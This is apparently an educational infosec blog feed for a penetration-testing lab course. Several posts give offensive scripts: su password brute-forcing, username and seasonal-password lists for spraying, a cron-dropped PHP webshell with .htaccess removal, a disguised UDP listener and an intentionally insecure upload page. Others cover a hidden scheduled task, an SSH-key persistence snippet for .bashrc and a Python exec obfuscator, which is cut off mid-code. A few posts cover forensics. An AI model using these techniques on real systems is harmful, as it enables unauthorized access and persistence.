tag:blogger.com,1999:blog-4502476289927364772024-03-13T05:14:07.535-06:00thepcn3rd - Passion for InfosecTwitter: @lokut<br>
This blog is for educational purposes only. The opinions expressed in this blog are my own and do not reflect the views of my employers.thepcn3rdhttp://www.blogger.com/profile/02346320845955827612noreply@blogger.comBlogger210125tag:blogger.com,1999:blog-450247628992736477.post-50999542884547443772023-01-22T00:22:00.001-07:002023-01-22T00:22:13.885-07:00Test Authentication from Linux Console using python3 pexpect<p>Working with the IT420 lab, you will discover that we need to discover a vulnerable user account. The following python3 script uses the pexpect library to auth with a defined username and password. This can be used to discover an account.<br /></p><p><br /></p>
<pre>#!/usr/bin/python3
# Found the script at https://stackoverflow.com/questions/5286321/pam-authentication-in-python-without-root-privileges and then modified
import pexpect
def authPam(username, password):
result = 0
try:
child = pexpect.spawn('/bin/su - %s'%(username))
child.expect('Password:')
child.sendline(password)
result=child.expect(['su: Authentication failure',username])
child.close()
except Exception as err:
child.close()
print ("Error authenticating. Reason: "%(username))
return True
if result == 0:
print ("Authentication failed for user %s."%(username))
return True
else:
print ("Authentication succeeded for user %s."%(username))
return True
if __name__ == '__main__':
authPam(username='root',password='root')
#authPam(username='kali',password='kali') - If the user does not exist the script implodes...
</pre>thepcn3rdhttp://www.blogger.com/profile/02346320845955827612noreply@blogger.com0tag:blogger.com,1999:blog-450247628992736477.post-74546265073949542822023-01-21T23:30:00.002-07:002023-01-21T23:30:27.161-07:00Setup crontab for www-data <p>For the IT420 class we are creating a crontab for www-data user using the following bash script. This crontab will run every 10 minutes and create a php file that we need for the lab.</p><p></p><p><br /></p>
<pre>#!/bin/bash
printf "Commands you need to execute to schedule the creation of the phpcode\n"
printf "\n"
PHP='phpcode'
printf "Create php\n"
printf "PHP - $PHP\n\n"
B64=`echo 'phpcode' | base64 -w 0`
printf "Base64 encoded phpcode - $B64\n"
printf "\n"
printf "Pull the existing crontab\n"
printf "crontab -l > mycron\n\n"
printf "Append to the file mycron\n"
printf "echo \"*/10 * * * * echo $B64 | base64 -d > /var/www/html/uploads/attachments/attach.php\" >> mycron\n\n"
printf "Setup permissions on php file for execution\n"
printf "echo \"*/10 * * * * chmod 777 /var/www/html/uploads/attachments/attach.php\" >> mycron\n\n"
printf "Load the mycron as the current crontab for www-data\n"
printf "crontab mycron\n\n"
printf "Verify the crontab listing has your php\n"
printf "crontab -l\n\n"
printf "Notice a .htaccess file exists - Modify or Remove the file if it exists\n"
printf "rm /var/www/html/uploads/attachments/.htaccess\n\n"
</pre>thepcn3rdhttp://www.blogger.com/profile/02346320845955827612noreply@blogger.com0tag:blogger.com,1999:blog-450247628992736477.post-16695638494138890312023-01-09T21:34:00.007-07:002023-01-16T13:51:47.631-07:00Brute Force: Password Spray - Gather Names <p>For the Orange Attack Path in the IT420 course I challenged the students to gather the names from the home page of a provided website. The below script was built to gather what resembles a first and last name like "Bob Smith" or "Bob. A. Smith". The output of this script can be saved and then used to pull out the names that were found. </p><p></p><p><br /></p>
<pre>#!/usr/bin/python3
import requests
import re
# Use the below to supress the warnings due to not verifying the SSL/TLS certs
from urllib3.exceptions import InsecureRequestWarning
# Suppress only the single warning from urllib3 needed.
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
def saveWebPage(urls, fileName):
for url in urls:
r = requests.get(url,verify=False)
with open(fileName,'a') as f:
#print(r.content)
f.write(r.text)
def extractNames(fileName):
nameList = []
with open(fileName, 'r') as f:
for line in f:
firstLastName = re.findall(r"[A-Z][a-z]+\s[A-Z][a-z]+", line)
firstMLastName = re.findall(r"[A-Z][a-z]+\s[A-Z]\.\s[A-Z][a-z]+", line)
if len(firstLastName) > 0:
for i in firstLastName:
if i not in nameList:
nameList.append(i)
if len(firstMLastName) > 0:
for i in firstMLastName:
if i not in nameList:
nameList.append(i)
for name in nameList:
print(name)
def main():
urls = ["https://www.website.web", "https://www.website.web/about"]
fileName = "output.html"
saveWebPage(urls, fileName)
extractNames(fileName)
</pre><p></p><p>Then after you create a userlist from the above output you can use the following script to create a list that can be used in the password spray. Only conduct this on the web application provided for testing.</p>
<pre>#!/usr/bin/python3
import sys
import getopt
# Example execution
# ./buildList.py -i userlist.txt -d windomain.local
def main():
inputfile = ''
# Read the argument for the userlist file and the domain to append
if len(sys.argv) < 2:
print('./buildList.py -i --userlist-- -d --domain--')
exit(1)
else:
argv = sys.argv[1:]
opts, argv = getopt.getopt(argv,"i:d:")
for opt, arg in opts:
if opt in ['-i']:
inputfile = arg
if opt in ['-d']:
domain = arg
# Read in the file from the command line options...
with open(inputfile) as f:
for line in f:
firstname, lastname = line.split(" ")
firstname = firstname.lower()
lastname = lastname.lower().strip()
# first.last
print(firstname + "." + lastname + "@" + domain)
# first_last
print(firstname + "_" + lastname + "@" + domain)
# f.last
print(firstname[0:1] + "." + lastname + "@" + domain)
# first.l
print(firstname + "." + lastname[0:1] + "@" + domain)
if __name__ == '__main__':
main()
</pre><p></p><p><br /></p><p>The below script is a method to develop a password list that can be used for the lab.<br /></p><p><br /></p><pre>#!/usr/bin/python3
# Building a password list of common helpdesk passwords of 2022
# Not meant for password sprays due to account lockout thresholds if they are set
season = ["Fall", "Winter", "Spring", "Summer"]
year = ["2021", "2022", "2023"]
commonSpecialChars = ["!", "@", "#", "$"]
#for a in season:
# for b in year:
# for c in commonSpecialChars:
# print(a + b + c)
[print(a+b+c) for a in season for b in year for c in commonSpecialChars]
</pre>thepcn3rdhttp://www.blogger.com/profile/02346320845955827612noreply@blogger.com0tag:blogger.com,1999:blog-450247628992736477.post-3187724970977572032021-11-29T17:43:00.003-07:002021-11-29T17:43:58.017-07:00Simple PHP Listener on UDP 10000<p> Found the following <a href="https://medium.com/@benmorel/creating-a-linux-service-with-systemd-611b5c8b91d6">site</a> demonstrating how to create a linux service with systemd and then extended it for a reverse shell.</p><p><br /></p>
<pre># Credit for the idea
# https://medium.com/@benmorel/creating-a-linux-service-with-systemd-611b5c8b91d6
$sock = socket_create(AF_INET, SOCK_DGRAM, SOL_UDP);
socket_bind($sock, '0.0.0.0', 10000);
$setIP = "";
for (;;) {
socket_recvfrom($sock, $message, 1024, 0, $ip, $port);
if (strpos($message, "ip") !== false) {
$setIP = substr($message, 3, -1);
$reply = $setIP . "\n";
}
elseif (strpos($message, "port") !== false) {
$setPort = substr($message, 5, -1);
$reply = $setPort . "\n";
}
elseif ((strpos($message, "status") !== false) && (strlen($setIP) > 0) && (strlen($setPort) > 1)) {
$reply = "IP: $setIP Port: $setPort\n";
}
elseif ((strpos($message, "execute") !== false) && (strlen($setIP) > 0) && (strlen($setPort) > 1)) {
# Launches a php-reverseshell...
$reply = "IP: $setIP Port: $setPort\n";
}
else {
$reply = "Piwigo is working as expected!";
}
socket_sendto($sock, $reply, strlen($reply), 0, $ip, $port);
}
</pre>thepcn3rdhttp://www.blogger.com/profile/02346320845955827612noreply@blogger.com0tag:blogger.com,1999:blog-450247628992736477.post-69381846087941124792021-11-23T21:16:00.008-07:002021-11-23T21:17:34.045-07:00Powershell to Upload File to PHP Page<p>In the previous post, a PHP page was created to upload a file. Below is powershell that can be used to upload a selected file from a windows computer to the PHP page.</p>
<pre>add-type @"
using System.Net;
using System.Security.Cryptography.X509Certificates;
public class TrustAllCertsPolicy : ICertificatePolicy {
public bool CheckValidationResult(
ServicePoint srvPoint, X509Certificate certificate,
WebRequest request, int certificateProblem) {
return true;
}
}
"@
[System.Net.ServicePointManager]::CertificatePolicy = New-Object TrustAllCertsPolicy
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]'Tls12'
# Name of the file to upload to server
$FileName = 'test4.txt';
# Location of file to upload
$FilePath = 'C:\users\thepcn3rd\test1.txt';
# URL of webserver (with SSL cert)
$URL = 'https://172.16.53.133/upload.php';
$fileBytes = [System.IO.File]::ReadAllBytes($FilePath);
$fileEnc = [System.Text.Encoding]::GetEncoding('ISO-8859-1').GetString($fileBytes);
$boundary = [System.Guid]::NewGuid().ToString();
$LF = "`r`n";
# Most difficult part is below...
$bodyLines = (
"--$boundary",
"Content-Disposition: form-data; name=`"f`"; filename=`"$FileName`"",
"Content-Type: application/octet-stream$LF",
$fileEnc,
"--$boundary",
"Content-Disposition: form-data; name=`"submit`"$LF",
"Upload",
"--$boundary--$LF"
) -join $LF
Invoke-RestMethod -Uri $URL -Method Post -ContentType "multipart/form-data; boundary=`"$boundary`"" -Body $bodyLines
</pre>thepcn3rdhttp://www.blogger.com/profile/02346320845955827612noreply@blogger.com0tag:blogger.com,1999:blog-450247628992736477.post-33711870852535403112021-11-23T07:34:00.002-07:002021-11-23T07:44:58.883-07:00Simple PHP to Upload File (Insecure)<p>Below is php code for a simple file upload page. This code is insecure and could allow an upload of a backdoor to your server.</p><p><br /></p>
<pre><?php
if (isset($_POST['submit'])) {
$currentDirectory = getcwd();
$uploadDirectory = "/uploads/";
$fileName = $_FILES['f']['name'];
$fileTempName = $_FILES['f']['tmp_name'];
$uploadPath = $currentDirectory . $uploadDirectory . basename($fileName);
move_uploaded_file($fileTempName, $uploadPath);
echo "The file " . basename($fileName) . " has been uploaded";
}
?>
<html>
<body>
<form action="upload.php" method="post" enctype="multipart/form-data">
Upload a File:
<input type="file" name="f">
<input type="submit" name="submit" value="Upload">
</form>
</body>
</html>
</pre>thepcn3rdhttp://www.blogger.com/profile/02346320845955827612noreply@blogger.com0tag:blogger.com,1999:blog-450247628992736477.post-64837341354024823352021-11-22T17:29:00.007-07:002021-11-22T17:31:48.406-07:00XML File for Creating a Scheduled Task<p> Here is a simple XML File Created from Exporting a Scheduled Task. The scheduled task was setup to run at any user logging in and to execute a powershell command with command line arguments.</p><p><br /></p>
<pre>
<?xml version="1.0" encoding="UTF-16"?>
<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
<Triggers>
<LogonTrigger>
<Enabled>true</Enabled>
</LogonTrigger>
</Triggers>
<Principals>
<Principal id="Author">
<UserId>thepcn3rd</UserId>
<LogonType>S4U</LogonType>
<RunLevel>LeastPrivilege</RunLevel>
</Principal>
</Principals>
<Settings>
<MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
<DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
<StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>
<AllowHardTerminate>true</AllowHardTerminate>
<StartWhenAvailable>false</StartWhenAvailable>
<RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>
<IdleSettings>
<StopOnIdleEnd>true</StopOnIdleEnd>
<RestartOnIdle>false</RestartOnIdle>
</IdleSettings>
<AllowStartOnDemand>true</AllowStartOnDemand>
<Enabled>true</Enabled>
<Hidden>true</Hidden>
<RunOnlyIfIdle>false</RunOnlyIfIdle>
<WakeToRun>false</WakeToRun>
<ExecutionTimeLimit>PT72H</ExecutionTimeLimit>
<Priority>7</Priority>
</Settings>
<Actions Context="Author">
<Exec>
<Command>powershell.exe</Command>
<Arguments>-c "... | Out-Null"</Arguments>
</Exec>
</Actions>
</Task>
</pre>thepcn3rdhttp://www.blogger.com/profile/02346320845955827612noreply@blogger.com0tag:blogger.com,1999:blog-450247628992736477.post-43697095488096002502021-11-22T17:19:00.004-07:002021-11-22T17:19:24.660-07:00Simple C# Program to Execute Commands<p> Created a simple C# program to execute commands...</p>
<pre>using System;
using System.Text;
using System.Diagnostics;
using System.Threading;
namespace updateCheck
{
public class check
{
public static void Main()
{
string executeCMD;
executeCMD = "... && ";
executeCMD += "... && ";
executeCMD += "...";
//Console.WriteLine(executeCMD);
Process cmd = new Process();
cmd.StartInfo.FileName = "cmd.exe";
cmd.StartInfo.RedirectStandardInput = true;
cmd.StartInfo.RedirectStandardOutput = true;
cmd.StartInfo.RedirectStandardError = true;
cmd.StartInfo.CreateNoWindow = true;
cmd.StartInfo.UseShellExecute = false;
cmd.StartInfo.Arguments = "/C " + executeCMD;
cmd.Start();
// Last 2 lines may need to be reversed...
cmd.StandardOutput.ReadToEnd();
cmd.WaitForExit();
}
}
}
</pre>thepcn3rdhttp://www.blogger.com/profile/02346320845955827612noreply@blogger.com0tag:blogger.com,1999:blog-450247628992736477.post-50080047840450328052021-11-01T22:42:00.001-06:002021-11-01T22:42:44.734-06:00T1546 - Unix Shell Configuration Modification<p></p><p>As I was researching how "Unix Shell Configuration Modification" could be tested in a .bashrc file, I created the following bash commands that could be used. It loops through the .ssh/authorized_keys files reading each line. A sha256 checksum is gathered for the line of the ssh_key that you wish to insert. If the ssh_key does not exist it will insert it, if the ssh_key does exist it does nothing.<br /></p><p><br /></p>
<pre>exists="False"
while read l; do
checksum=`echo "$l" | sha256sum | awk '{print $1}'`
# For troubleshooting uncomment the following line to verify the checksum of the line in ~/.ssh/authorized_keys
# echo $checksum
# Substitute the checksum for the ssh-key that you want to be reintroduced to the authorized_keys file...
if [ "$checksum" == "333459f693d01b41c0083bf8dc25ad51e08adf4a9474a3fb34198e3967d53bd4" ]; then
exists="True"
fi
done < ~/.ssh/authorized_keys
if [ "$exists" == "False" ]; then
# Verify the ssh-key that you are using is placed below...
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCxGaIRqqBKzYJE+0atqKP9u/NCEElmevLyzdkPUYWHxZo16j8OykIfytbCDCagGobdCq4BOEQ48AoyecvFSG+G4NQib4iDDQMzp4+2b5Rs9LpAZgFAaU5BN2MIh7JNk6zWZ23Z5lOse4AembbyFsR0bQvfFSd1XzagUrmkH/Tg4EPgneieYyTp4vk2shvLWVxabZljsKd4hvV3Ei2xcCPU6nAqVoYNOAdUAI9HNkCf3ZDJU/zcm4MjGjCEoww0Krvuy9NuT2JIKdnk2OZHtKU4glIRLOQl3cI0AZaq6IF5VYsniVy+Ag6hVsLfEb7ByJIVlYkvgsW0POjfqLYezGd1Cwz5BKiTJUsCTt/GRhOgpAEkRVhY6TuMr/wgnyUMWxvSsiiLVahU4zvwyJsf8FD5vEhjc4yq+uwB7GX38fVam19LLRcF3OzHm3+mOxZRXjctnq5S6AQMRdTzHzC1tsj0= invalid@key" >> ~/.ssh/authorized_keys
fi </pre><pre> </pre><pre> </pre>Reference: https://attack.mitre.org/techniques/T1546/004/ thepcn3rdhttp://www.blogger.com/profile/02346320845955827612noreply@blogger.com0tag:blogger.com,1999:blog-450247628992736477.post-21029586044561892272021-10-13T10:47:00.001-06:002021-10-13T10:48:04.890-06:00Bruteforce: Password Spray - Create List of Possible Usernames from CSV<p> I am teaching a class that introduces password spraying to students. I introduce to them a website that we have in a lab where we collect the first name and last name of people on the page, then develop a username list to conduct a bruteforce password spray based on the sub-technique in the MITRE Att&ck Framework https://attack.mitre.org/techniques/T1110/003/.</p><p>The below python script takes a csv file as shown below and creates different username formats based on the list.</p><p>CSV File example:</p>
<blockquote><p>james,carver<br />julio,deguilio<br />robin,freid<br />ted,montrose<br />trey,montoya<br /></p></blockquote>
<br />
<p>Python3 Script example:</p><p> <br /></p>
<pre>#!/usr/bin/python3
import sys
import getopt
import csv
def main():
inputfile = ''
# Read the argument for the userlist file
if len(sys.argv) < 2:
print("./createUserList.py -i --userlist--")
exit(1)
else:
opts, argv = getopt.getopt(sys.argv[1:],"i:")
for opt, arg in opts:
if opt in ['-i']:
inputfile = arg
# Read in the columns for first and last name...
# This is not built to have column header names...
with open(inputfile) as csv_file:
csv_reader = csv.reader(csv_file, delimiter=",")
for row in csv_reader:
firstname = row[0]
lastname = row[1]
# first.last
print(firstname + "." + lastname)
# first_last
print(firstname + "_" + lastname)
# f.last
print(firstname[0:1] + "." + lastname)
# first.l
print(firstname + "." + lastname[0:1])
if __name__=="__main__":
main()
</pre>thepcn3rdhttp://www.blogger.com/profile/02346320845955827612noreply@blogger.com0tag:blogger.com,1999:blog-450247628992736477.post-13390652957318522622021-10-10T23:03:00.000-06:002021-10-10T23:03:01.317-06:00Volatility 3 Quick Setup on Remnux 7<p> As I mentioned in the post last week I downloaded remnux to run volatility 2 or 3 for the memory image provided at BSides Idaho Falls.</p><p><br /></p><p>After executing volatility the first time it will state that the symbol files need to be installed. If you go to https://docs.remnux.org/discover-the-tools/perform+memory+forensics it talks about where to download the symbol files. However the installation path is incorrect for remnux 7 that is listed.</p><p><br /></p><p>If you execute the command "vol3 -vvv -f <mem image file> windows.info.Info", the path where it is looking for the symbol files will show as /usr/local/lib/python3.8/dist-packages/volatility3/framework/symbols or /usr/local/lib/python3.8/dist-packages/volatility3/symbols. I observed that the 2nd directory does not exist and did not work when I created it... I did not look into why... <br /></p><p> </p><p>My initial file that I downloaded was dfrws2005-physical-memory1.dmp. As I loaded it with vol3 it kept returning that I did not have the symbols loaded. I was becoming a little frustrated then I tried a memory image from the Malware Analysts Handbook and it worked. I observed that it will attempt to find a symbol file but depending on the memory image vol3 did not work so I fell back to vol2.py.</p><p><br /></p><p>Then I was able to run the variety of plugins available. You can see the plugins available by default by executing:</p><p>vol3 -f <mem image file> -h</p><p>Here is a list of memory images available: https://github.com/volatilityfoundation/volatility/wiki/Memory-Samples<br /></p><p>Symbols File Updates: https://github.com/volatilityfoundation/volatility3#symbol-tables<br /></p>thepcn3rdhttp://www.blogger.com/profile/02346320845955827612noreply@blogger.com0tag:blogger.com,1999:blog-450247628992736477.post-6724576252026564172021-10-03T13:45:00.003-06:002021-10-03T13:51:58.025-06:00BSIDES Idaho Falls - Cloud Forensics Challenge - Expectations and Takeaways<p>BSIDES Idaho Falls offered a workshop called Cloud Forensics with an accompanying CTF. I left early Friday to make the 3 hour drive for the workshop because I see the need in my career to learn more about the Cloud especially as it applies to Forensics.</p><p>My expectations had to change for this workshop. I was expecting it to use the awscli to explore intrusions, cloud trail logs, and other tools. Knowing that the instructor, Kerry Hazelton had 23 years of experience and was experienced in this realm I listened and undertook the CTF challenge that followed.</p><p><b>The new expectations that I built for the course:</b></p><p>1st - The workshop could have been named "Using an Amazon Instance in the Cloud to Conduct Forensics" (The instance was of a Windows 10 OS)<br /></p><p>2nd - How to mirror traffic from 1 instance into the instance built for forensics</p><p>3rd - Use tools like Autopsy, ExifTool, and others to explore the artifacts.</p><p><b>Additional notes and takeaways:</b></p><p>I was unaware of the Autospy GUI that you could install in windows. I explored version 4.9.1 and was impressed. I observed as I tried to import the given images provided by the instructor that a VM with 2 CPUs and 8GB RAM struggled with digesting the 4 images provided in < 3 hours of time. I could see how an Amazon Instance with the necessary resources (being temporary) could speed the process of forensics. Especially if you are short on time and current resources as was the case in the CTF that lasted for 3 hours. (The images were provided by an email caught in my spam folder the night before...)<br /></p><p>Autopsy, the web server provided on a linux platform I have used in the past. When I used the GUI I was impressed how it would digest the information, still a little slow. You do need to make a choice as you import images that you have taken whether you enable or disable windows defender. Windows Defender from what I experienced helped to identify malware that was carved from images, but also caused an interruption in the operation of the import process in Autopsy.</p><p>Mirroring traffic from 1 instance in Amazon to another instance through configuration of the ENI's I need to spend some more time in troubleshooting how this works. A great take away!</p><p>One of the challenges involved looking at a memory image to solve what had occurred. I initially loaded Volatility 3 into my linux VM and ran into issues with missing dependencies. This is a plague of using Volatility 2.6 or 3. To avoid this plague you can download the VM called "Remnux". This has volatility 3 and autopsy pre-installed. Volatility and how it works is different than Volatility 2.6 which I am most familiar with.<br /></p><p>Then, I was not sure about the wireless provided so I used my phones hot spot. I was not in a position to download "Remnux" during the challenge. I then reverted to using the pre-compiled binary of Volatility 2.6 on Windows 10. This worked until I found that I needed to extend the functionality to a plugin for exploring the browsing history of firefox.</p><p><b>In Summary</b></p><p>The workshop was thin on direction and content and very broad in expectations for the CTF Challenge. I would recommend next year try and be more lean in the expectations of the CTF<b> </b>Challenge. Then I would provide a better introductory email to introduce the workshop, content necessary to be successful in understanding the topics explored, and better introduce what is expected to be submitted in the CTF Challenge at least 3 days in advance.</p><p>The instructor, Kerry met my expectations of providing a challenge that was difficult. Introduced us to new tools and how to use those tools to be successful. </p><p>Thank you BSIDES Idaho Falls, I will look forward to participating next year!!<br /></p><p><br /></p><p><br /></p>thepcn3rdhttp://www.blogger.com/profile/02346320845955827612noreply@blogger.com0tag:blogger.com,1999:blog-450247628992736477.post-42578417486197768132020-07-26T23:01:00.003-06:002020-07-27T08:28:52.035-06:00Powershell - Evaluate Timestamps of Files in a Directory I was looking for a script to output files in a directory that may have been changed or created in a given time frame. The time stamps that are evaluated are the MFT File Record for the file, the creation time, last access time and last write time. As I was building this, I found a powershell project called PowerForensics which is very nice for more in-depth project related to forensics.<br />
<br />
Here is the script use at your own risk:<br />
<br />
<pre>
# Modify the directory that you are looking at and the timestamps
$currentDirectory = "c:\windows"
$files = Get-ChildItem $currentDirectory
# Change the below line to look like the below if you want to recursively look at the files in a directory
#$files = Get-ChildItem $currentDirectory -Recurse
$startDate = Get-Date 2020-03-01
$endDate = Get-Date 2020-06-30
# Only outputs results where a creation time, last access time, and last write time are within the timeframe listed above
# Added the function to look at the MFT File Record for the file being examined. If that time is within the timeframe it
# is also captured...
#
# Looking at the MFT File Record will indicate time stomping...
Function Color-Text {
param ( $inDate)
If (($inDate -ge $startDate) -and ($inDate -le $endDate)) {
Write-Host "$($inDate) " -ForegroundColor Yellow -NoNewline
}
Else {
Write-Host "$($inDate) " -NoNewline
}
}
Function Get-ChangeTime {
# This function is from https://gallery.technet.microsoft.com/scriptcenter/Get-MFT-Timestamp-of-a-file-9227f399
# Modified to work in this context.
param ( $inFile )
$FileStream = [System.IO.File]::Open($inFile, 'Open', 'Read', 'ReadWrite')
#$FileStream
#[void][ntdll]
#region Module Builder
$Domain = [AppDomain]::CurrentDomain
$DynAssembly = New-Object System.Reflection.AssemblyName('TestAssembly')
$AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) # Only run in memory
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('TimeStampModule', $False)
#endregion Module Builder
#region ENUMs
$EnumBuilder = $ModuleBuilder.DefineEnum('FileInformationClass', 'Public', [UInt32])
# Define values of the enum
[void]$EnumBuilder.DefineLiteral('FileDirectoryInformation', [UInt32] 1)
[void]$EnumBuilder.DefineLiteral('FileBasicInformation', [UInt32] 4)
[void]$EnumBuilder.DefineLiteral('FileModeInformation', [UInt32] 16)
[void]$EnumBuilder.DefineLiteral('FileHardLinkInformation', [UInt32] 46)
#Create ENUM Type
[void]$EnumBuilder.CreateType()
#endregion ENUMs
#region FileBasicInformation
#Define STRUCT
$Attributes = 'AutoLayout, AnsiClass, Class, ExplicitLayout, Sealed, BeforeFieldInit,public'
$TypeBuilder = $ModuleBuilder.DefineType('FileBasicInformation', $Attributes, [System.ValueType], 8, 0x28)
$CreateTimeField = $TypeBuilder.DefineField('CreationTime', [UInt64], 'Public')
$CreateTimeField.SetOffset(0)
$LastAccessTimeField = $TypeBuilder.DefineField('LastAccessTime', [UInt64], 'Public')
$LastAccessTimeField.SetOffset(8)
$LastWriteTimeField = $TypeBuilder.DefineField('LastWriteTime', [UInt64], 'Public')
$LastWriteTimeField.SetOffset(16)
$ChangeTimeField = $TypeBuilder.DefineField('ChangeTime', [UInt64], 'Public')
$ChangeTimeField.SetOffset(24)
$FileAttributesField = $TypeBuilder.DefineField('FileAttributes', [UInt64], 'Public')
$FileAttributesField.SetOffset(32)
#Create STRUCT Type
[void]$TypeBuilder.CreateType()
#endregion FileBasicInformation
#region IOStatusBlock
#Define STRUCT
$Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
$TypeBuilder = $ModuleBuilder.DefineType('IOStatusBlock', $Attributes, [System.ValueType], 1, 0x10)
[void]$TypeBuilder.DefineField('status', [UInt64], 'Public')
[void]$TypeBuilder.DefineField('information', [UInt64], 'Public')
#Create STRUCT Type
[void]$TypeBuilder.CreateType()
#endregion IOStatusBlock
#region DllImport $TypeBuilder = $ModuleBuilder.DefineType('ntdll', 'Public, Class') #region NtQueryInformationFile Method $PInvokeMethod = $TypeBuilder.DefineMethod( 'NtQueryInformationFile', #Method Name [Reflection.MethodAttributes] 'PrivateScope, Public, Static, HideBySig, PinvokeImpl', #Method Attributes [IntPtr], #Method Return Type [Type[]] @([Microsoft.Win32.SafeHandles.SafeFileHandle], [IOStatusBlock], [IntPtr] ,[UInt16], [FileInformationClass]) #Method Parameters )
$DllImportConstructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor(@([String])) $FieldArray = [Reflection.FieldInfo[]] @( [Runtime.InteropServices.DllImportAttribute].GetField('EntryPoint'), [Runtime.InteropServices.DllImportAttribute].GetField('SetLastError') )
$FieldValueArray = [Object[]] @( 'NtQueryInformationFile', #CASE SENSITIVE!! $True )
$SetLastErrorCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder( $DllImportConstructor, @('ntdll.dll'), $FieldArray, $FieldValueArray )
$PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute) #endregion NtQueryInformationFile Method
[void]$TypeBuilder.CreateType() #endregion DllImport
$fbi = New-Object "FileBasicInformation"
$iosb = New-Object "IOStatusBlock"
$p_fbi = [System.Runtime.InteropServices.Marshal]::AllocHGlobal([System.Runtime.InteropServices.Marshal]::SizeOf($fbi))
# Pull file timestamps from file
#[DllImport("ntdll.dll", SetLastError=$true)]
$iprc = [ntdll]::NtQueryInformationFile($FileStream.SafeFileHandle, $iosb, $p_fbi,
[System.Runtime.InteropServices.Marshal]::SizeOf($fbi), [FileInformationClass]::FileBasicInformation
)
# Check to make sure no issues occurred
$IsOK = (($iprc -eq [intptr]::Zero) -AND ($iosb.status -eq 0))
If ($IsOK) {
# Pull data from unmanaged memory block into a usable object
# The below line in the original document does notwork. Add [System.Type] in the front and it works...
# https://poshsecurity.com/blog/2014/2/3/powershell-error-the-specified-structure-must-be-blittable-o.html
$fbi = [System.Runtime.InteropServices.Marshal]::PtrToStructure($p_fbi, [System.Type][FileBasicInformation])
#$Object = [pscustomobject]@{
# FullName = $FileStream.Name
# CreationTime = [datetime]::FromFileTime($fbi.CreationTime)
# LastAccessTime = [datetime]::FromFileTime($fbi.LastAccessTime)
# LastWriteTime = [datetime]::FromFileTime($fbi.LastWriteTime)
# ChangeTime = [datetime]::FromFileTime($fbi.ChangeTime)
#}
#$Object.PSTypeNames.Insert(0,'System.Io.FileTimeStamp')
return [datetime]::FromFileTime($fbi.ChangeTime)
} Else {
return "$($Item): $(New-Object ComponentModel.Win32Exception)"
}
#region Perform Cleanup
$FileStream.Close()
# Deallocate memory
If ($p_fbi -ne [intptr]::Zero) {
[System.Runtime.InteropServices.Marshal]::FreeHGlobal($p_fbi)
}
}
ForEach ($file in $files) {
$creationTime = $file.CreationTime
$lastAccessTime = $file.LastAccessTime
$lastWriteTime = $file.LastWriteTime
Try {
If ($file.Attributes -notmatch 'Directory') {
$changeTime = Get-ChangeTime -inFile $file.FullName
}
Else {
# Arbitrary change time if one is not found by the function...
$changeTime = (Get-Date).AddYears(-20)
}
}
Catch {
# Arbitrary change time if one is not found by the function...
$changeTime = (Get-Date).AddYears(-20)
}
# Only output what matches the criteria above
# If the MFT time of creation matches the timeframe it is output
If ((($creationTime -ge $startDate) -and ($creationTime -le $endDate)) -or (($lastAccessTime -ge $startDate) -and ($lastAccessTime -le $endDate)) -or (($lastWriteTime -ge $startDate) -and ($lastWriteTime -le $endDate)) -or (($changeTime -ge $startDate) -and ($changeTime -le $endDate))) {
Write-Host "-- File Information --"
Write-Host "Name: " -NoNewLine -ForegroundColor Green
Write-Host "$($file.FullName)"
Write-Host "Attributes: " -NoNewline -ForegroundColor Green
Write-Host "$($file.Attributes)"
Write-Host "Length: " -NoNewline -ForegroundColor Green
Write-Host "$($file.Length)"
If ($file.Attributes -notmatch 'Directory') {
$changeTime = Get-ChangeTime -inFile $file.FullName
Write-Host "MFT Change Time: " -NoNewline -ForegroundColor Green
Write-Host (Color-Text -inDate $changeTime)
}
Write-Host "Create: " -NoNewline -ForegroundColor Green
Write-Host (Color-Text -inDate $creationTime) -NoNewline
Write-Host "Last Access Time: " -NoNewline -ForegroundColor Green
Write-Host (Color-Text -inDate $lastAccessTime) -NoNewline
Write-Host "Last Write Time: " -NoNewline -ForegroundColor Green
Write-Host (Color-Text -inDate $lastWriteTime)
If ($file.Attributes -notmatch 'Directory') {
$md5 = (Get-FileHash -LiteralPath $file.FullName -Algorithm MD5 -ErrorAction SilentlyContinue).Hash
$sha1 = (Get-FileHash -LiteralPath $file.FullName -Algorithm SHA1 -ErrorAction SilentlyContinue).Hash
$sha256 = (Get-FileHash -LiteralPath $file.FullName -Algorithm SHA256 -ErrorAction SilentlyContinue).Hash
Write-Host "-- Hashes --"
Write-Host "MD5: " -NoNewline -ForegroundColor Green
Write-Host $md5
Write-Host "SHA1: " -NoNewline -ForegroundColor Green
Write-Host $sha1
Write-Host "SHA256: " -NoNewline -ForegroundColor Green
Write-Host $sha256
}
Write-Host "`r`n`r`n"
}
}
</pre>
thepcn3rdhttp://www.blogger.com/profile/02346320845955827612noreply@blogger.com0tag:blogger.com,1999:blog-450247628992736477.post-24429270103267366652020-07-18T18:55:00.000-06:002020-07-18T18:55:18.857-06:00Python3 Script Obfuscator<div>A while ago I wrote a python script obfuscator for python2. Today I needed this and rewrote it for python3.</div><div><br /></div><div><br /> </div>
<pre>#!/usr/bin/python3
import base64
import zlib
import bz2
def applyb64(i):
print("base64 Encoding the Information")
headerInfo = '#!/usr/bin/python3\n'
headerInfo += 'import base64;exec(base64.b64decode("'
encodedInfo = base64.b64encode(i.encode("utf-8"))
footerInfo = '"))'
outputInfo = headerInfo + str(encodedInfo, "utf-8") + footerInfo
return outputInfo
def applyZLIB(i):
print("zlib Compress the Information")
compressionLevel = input("Select compression level (1-9): ")
headerInfo = '#!/usr/bin/python3\n'
headerInfo += 'import zlib, base64;z=base64.b64decode("'
